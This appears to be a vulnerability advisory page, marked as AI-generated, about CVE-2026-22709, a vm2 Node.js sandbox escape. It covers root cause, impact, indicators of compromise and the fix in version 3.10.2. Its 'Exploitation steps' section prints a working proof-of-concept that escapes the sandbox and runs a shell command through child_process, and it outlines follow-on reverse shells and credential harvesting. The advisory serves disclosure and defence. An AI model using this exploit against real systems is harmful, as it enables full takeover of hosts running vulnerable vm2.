CVE-2026-22709
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-22709 is a critical sandbox escape vulnerability in the vm2 Node.js sandboxing library that allows unauthenticated attackers to bypass Promise.prototype.then and Promise.prototype.catch callback sanitization and execute arbitrary code outside the sandbox. It affects vm2 versions up to and including 3.10.1, with version 3.10.2 containing the fix. The vulnerability was published on January 25, 2026, by the maintainer via GitHub Security Advisory GHSA-99p7-6v5w-7xg8, and was added to the NVD on January 26, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical) (Github Advisory, vm2 Security Advisory).

Technical details

The root cause is a protection mechanism failure (CWE-693) combined with improper control of code generation (CWE-94) in lib/setup-sandbox.js. While vm2 sanitizes the callback function of localPromise.prototype.then, it fails to sanitize globalPromise.prototype.then and globalPromise.prototype.catch. Since async functions return a globalPromise object rather than a localPromise, an attacker can craft code using an async function to obtain an unsanitized Promise, then chain a .catch() callback that traverses the prototype chain (e.constructorError, then Error.constructorFunction) to reconstruct the native Function constructor and execute arbitrary code. The fix replaces unsafe .call() usage with Reflect.apply in the globalPromise.prototype.then and .catch handlers to prevent interception via Function.prototype.call override (vm2 Security Advisory, Patch Commit).

Impact

Successful exploitation grants an attacker full escape from the vm2 sandbox, enabling arbitrary Node.js code execution with the privileges of the host process. This results in complete compromise of confidentiality, integrity, and availability — attackers can read sensitive data, modify files, execute system commands (e.g., via child_process.execSync), and potentially pivot to other systems accessible from the host. Any application that uses vm2 to safely execute untrusted code (e.g., plugin systems, online code execution platforms, multi-tenant SaaS environments) is at risk of full host takeover (Github Advisory, BleepingComputer).

Exploitability

A working proof-of-concept exploit is publicly available in the GitHub Security Advisory and has been widely reported (vm2 Security Advisory, BleepingComputer). Exploitation requires no authentication, no privileges, and no user interaction, making it trivially weaponizable over the network. Feedly threat intelligence reports active exploitation in the wild. The EPSS score is approximately 0.054% (17th percentile), though the public PoC and critical severity elevate practical risk. No specific threat actor attribution or CISA KEV catalog listing has been confirmed at this time.

Exploitation steps

  1. Identify target: Locate a Node.js application that uses vm2 version ≤ 3.10.1 to execute user-supplied or attacker-controlled code (e.g., an online code runner, plugin sandbox, or scripting API endpoint).
  2. Craft malicious payload: Construct JavaScript code that uses an async function to obtain a globalPromise object, which bypasses vm2's sanitization of localPromise:
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('id', { stdio: 'inherit' })"
    );
    f();
});
`;
new VM().run(code);
  1. Exploit prototype chain: The .catch() callback receives an unsanitized error object; traversing e.constructor yields the real Error constructor, and Error.constructor yields the native Function constructor outside the sandbox.
  2. Execute arbitrary code: Use the reconstructed Function constructor to instantiate and call arbitrary Node.js code, such as spawning a reverse shell or exfiltrating data via child_process.
  3. Achieve host compromise: With full process-level access, perform post-exploitation actions including lateral movement, credential harvesting, or persistence (vm2 Security Advisory, BleepingComputer).

Indicators of compromise

  • Process: Unexpected child processes spawned by the Node.js process, such as sh, bash, cmd.exe, curl, wget, or python, particularly when the parent is a vm2-based application.
  • Logs: Application logs showing execution of untrusted code followed by unexpected system-level output or errors; Node.js stack traces referencing globalPromise, setup-sandbox.js, or Function constructor calls from within sandboxed code.
  • Network: Outbound connections from the Node.js server to unknown external IPs or domains, especially on non-standard ports, shortly after code execution requests; DNS lookups for attacker-controlled domains initiated by the Node.js process.
  • File System: New or modified files in the application directory or /tmp created by the Node.js process user; presence of web shells, reverse shell scripts, or cron job modifications attributable to the application service account.
  • Runtime: Unusual use of child_process module methods (execSync, exec, spawn) originating from sandboxed code paths; access to process.mainModule or process.env from within vm2-executed code.

Mitigation and workarounds

The primary remediation is to upgrade vm2 to version 3.10.2 or later, which replaces unsafe .call() usage with Reflect.apply in globalPromise.prototype.then and .catch handlers, preventing the prototype chain traversal exploit (vm2 Release v3.10.2, Patch Commit). No configuration-based workaround is available that fully mitigates the issue without patching. Organizations unable to patch immediately should consider disabling or restricting access to any functionality that allows execution of untrusted code via vm2, and should monitor for signs of exploitation. Given the public PoC and active exploitation reports, patching should be treated as an emergency priority.

Community reactions

The vulnerability received significant coverage from major security outlets including BleepingComputer, The Hacker News, CyberSecurityNews, and CSO Online, all highlighting the critical severity and public PoC availability (BleepingComputer, The Hacker News). Security researchers on Mastodon and Bluesky amplified the advisory shortly after disclosure, and the story trended on Hacker News. SOCRadar and Endor Labs published dedicated threat intelligence analyses of the vulnerability. Red Hat acknowledged the CVE in their security tracking system, and Tenable added detection support via their pipeline.

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77415CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-77414CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-77413CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-63421HIGH7.5
  • JavaScript logoJavaScript
  • @keystone-6/core
NoYesAug 21, 2026
CVE-2026-53509MEDIUM5.7
  • JavaScript logoJavaScript
  • @aborruso/ckan-mcp-server
NoYesAug 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management